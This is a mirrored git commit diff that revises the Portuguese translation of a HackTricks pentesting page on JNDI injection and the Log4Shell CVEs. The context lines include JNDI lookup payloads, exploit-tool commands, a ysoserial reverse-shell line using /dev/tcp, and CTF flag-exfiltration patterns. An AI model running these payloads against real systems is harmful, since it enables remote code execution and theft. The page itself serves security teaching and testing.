mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 13:43:24 +00:00
Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo
This commit is contained in:
Translator
parent
744053532f
commit
4a3719a4e5
1 changed files with 31 additions and 27 deletions
|
|
@ -9,14 +9,14 @@ Outras formas de apoiar o HackTricks:
|
|||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
@ -31,7 +31,7 @@ O JNDI, integrado ao Java desde o final dos anos 1990, atua como um serviço de
|
|||
Objetos Java podem ser armazenados e recuperados usando Referências de Nomes JNDI, que se apresentam em duas formas:
|
||||
|
||||
* **Endereços de Referência**: Especifica a localização de um objeto (por exemplo, _rmi://servidor/ref_), permitindo a recuperação direta do endereço especificado.
|
||||
* **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir da localização remota.
|
||||
* **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir do local remoto.
|
||||
|
||||
No entanto, esse mecanismo pode ser explorado, potencialmente levando ao carregamento e execução de código arbitrário. Como contramedida:
|
||||
|
||||
|
|
@ -43,9 +43,9 @@ No entanto, o **Gerenciador de Nomes**, responsável por resolver links JNDI, ca
|
|||
|
||||
Exemplos de URLs exploráveis incluem:
|
||||
|
||||
* _rmi://servidor-atacante/bar_
|
||||
* _ldap://servidor-atacante/bar_
|
||||
* _iiop://servidor-atacante/bar_
|
||||
* _rmi://servidor-do-atacante/bar_
|
||||
* _ldap://servidor-do-atacante/bar_
|
||||
* _iiop://servidor-do-atacante/bar_
|
||||
|
||||
Apesar das proteções, vulnerabilidades permanecem, principalmente devido à falta de salvaguardas contra o carregamento de JNDI de fontes não confiáveis e à possibilidade de contornar as proteções existentes.
|
||||
|
||||
|
|
@ -57,7 +57,7 @@ Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um dife
|
|||
|
||||
### Visão Geral do CORBA
|
||||
|
||||
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar remotamente objetos de forma única. Esta referência inclui informações essenciais como:
|
||||
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar exclusivamente objetos remotos. Esta referência inclui informações essenciais como:
|
||||
|
||||
* **ID de Tipo**: Identificador único para uma interface.
|
||||
* **Codebase**: URL para obter a classe stub.
|
||||
|
|
@ -69,7 +69,7 @@ Notavelmente, o CORBA não é inerentemente vulnerável. Garantir a segurança g
|
|||
* Permissão de soquete, por exemplo, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Permissões de leitura de arquivos, universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos podem ser colocados.
|
||||
|
||||
No entanto, algumas políticas de fornecedores podem ser tolerantes e permitir essas conexões por padrão.
|
||||
No entanto, algumas políticas de fornecedores podem ser mais flexíveis e permitir essas conexões por padrão.
|
||||
|
||||
### Contexto RMI
|
||||
|
||||
|
|
@ -79,7 +79,7 @@ Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. As
|
|||
|
||||
Primeiramente, precisamos distinguir entre uma Pesquisa e uma Busca.\
|
||||
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
|
||||
Uma **busca** é destinada a **serviços de nomes** pois queremos obter **qualquer coisa vinculada a um nome**.
|
||||
Uma **busca** é destinada a **serviços de nomes** pois queremos obter **o que estiver vinculado a um nome**.
|
||||
|
||||
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
|
||||
|
||||
|
|
@ -103,13 +103,13 @@ Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias cl
|
|||
|
||||
## Vulnerabilidade Log4Shell
|
||||
|
||||
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual em execução do Java.
|
||||
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual do Java em execução.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a própria chave incluir um **":"**, este prefixo padrão não é aplicado.
|
||||
|
||||
Com um **: presente** na chave, como em `${jndi:ldap://exemplo.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.
|
||||
|
||||
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
|
||||
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente utilizada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
|
||||
## Visão geral das CVEs relacionadas ao Log4Shell
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**
|
||||
|
|
@ -118,7 +118,7 @@ Essa vulnerabilidade é uma falha crítica de **desserialização não confiáve
|
|||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
|
||||
|
||||
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, essa CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para a CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
|
||||
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, essa CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para a CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads manipulados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
|
||||
|
||||
|
|
@ -134,7 +134,7 @@ O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0
|
|||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Afetando a versão 2.17 do log4j, essa CVE requer que o invasor controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Afetando a versão 2.17 do log4j, essa CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Exploração do Log4Shell
|
||||
|
||||
|
|
@ -225,7 +225,7 @@ Any other env variable name that could store sensitive information
|
|||
### Informações sobre RCE
|
||||
|
||||
{% hint style="info" %}
|
||||
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar um código remoto via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
|
||||
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar um codebase remoto via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
|
||||
|
||||
Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
|
||||
|
||||
|
|
@ -263,9 +263,9 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
|||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
|
||||
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
|
||||
|
||||
Além disso, você não pode encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
|
||||
Além disso, não é possível encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que não sabe o que está executando.
|
||||
{% endhint %}
|
||||
|
||||
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
|
||||
|
|
@ -310,13 +310,17 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do **THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um codebase remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
|
||||
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a **sala solar THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um código remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) é outra ferramenta para gerar **links JNDI funcionais** e fornecer serviços em segundo plano iniciando um servidor RMI, servidor LDAP e servidor HTTP.\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Esta opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, o **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
|
||||
Esta opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
|
||||
|
||||
Usando o **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) você pode criar o exploit de desserialização que será baixado pelo JNDI:
|
||||
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) você pode criar o exploit de desserialização que será baixado pelo JNDI:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
|
|
@ -361,7 +365,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
## Pós-Exploração do Log4Shell
|
||||
|
||||
Neste [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) está bem explicado como é **possível** **abusar** de algumas funcionalidades do **Log4J**.
|
||||
Neste [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) está bem explicado como é potencialmente **possível** **abusar** de algumas funcionalidades do **Log4J**.
|
||||
|
||||
A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j tem algumas frases interessantes:
|
||||
|
||||
|
|
@ -385,13 +389,13 @@ Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-
|
|||
|
||||
### Exfiltração em Exceções
|
||||
|
||||
No CTF, você **não podia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
|
||||
No CTF, você **não podia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao disparar uma exceção poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
|
||||
|
||||
.png>)
|
||||
|
||||
### Padrões de Conversão em Exceções
|
||||
|
||||
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e acionar exceções que serão registradas em `stdout`. Por exemplo:
|
||||
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
|
||||
|
||||
 (2) (1) (1).png>)
|
||||
|
||||
|
|
@ -399,12 +403,12 @@ Isso não foi útil para exfiltrar dados dentro da mensagem de erro, porque a pe
|
|||
|
||||
### Padrões de Conversão Regex
|
||||
|
||||
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**.
|
||||
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou baseados em **tempo**.
|
||||
|
||||
* **Busca binária via mensagens de exceção**
|
||||
|
||||
O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
|
||||
Abusando desse comportamento, você poderia fazer a substituição **acionar uma exceção se o regex correspondesse** a algo dentro da string (e nenhuma exceção se não fosse encontrado) assim:
|
||||
Abusando desse comportamento, você poderia fazer a substituição **disparar uma exceção se o regex correspondesse** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
|
@ -412,7 +416,7 @@ Abusando desse comportamento, você poderia fazer a substituição **acionar uma
|
|||
```
|
||||
* **Baseado em tempo**
|
||||
|
||||
Como foi mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da [página ReDoS](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada. Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadearia um **timeout** nesse CTF.
|
||||
Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da [página ReDoS](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada. Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` poderia desencadear um **timeout** nesse CTF.
|
||||
|
||||
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi utilizado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
|
||||
|
||||
|
|
@ -435,7 +439,7 @@ Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log
|
|||
>
|
||||
> Se a flag começar com `flagGuess`, toda a flag será substituída por 29 `#` (usei esse caractere porque provavelmente não fará parte da flag). **Cada um dos 29 `#` resultantes é então substituído por 54 `#`**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
>
|
||||
> Substituir tantos `#` desencadeará o timeout de 10 segundos da aplicação Flask, o que resultará no envio do código de status HTTP 500 para o usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
|
||||
> Substituir tantos `#` irá acionar o timeout de 10 segundos da aplicação Flask, o que resultará no envio do código de status HTTP 500 para o usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
|
||||
|
||||
## Referências
|
||||
|
||||
|
|
@ -450,7 +454,7 @@ Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue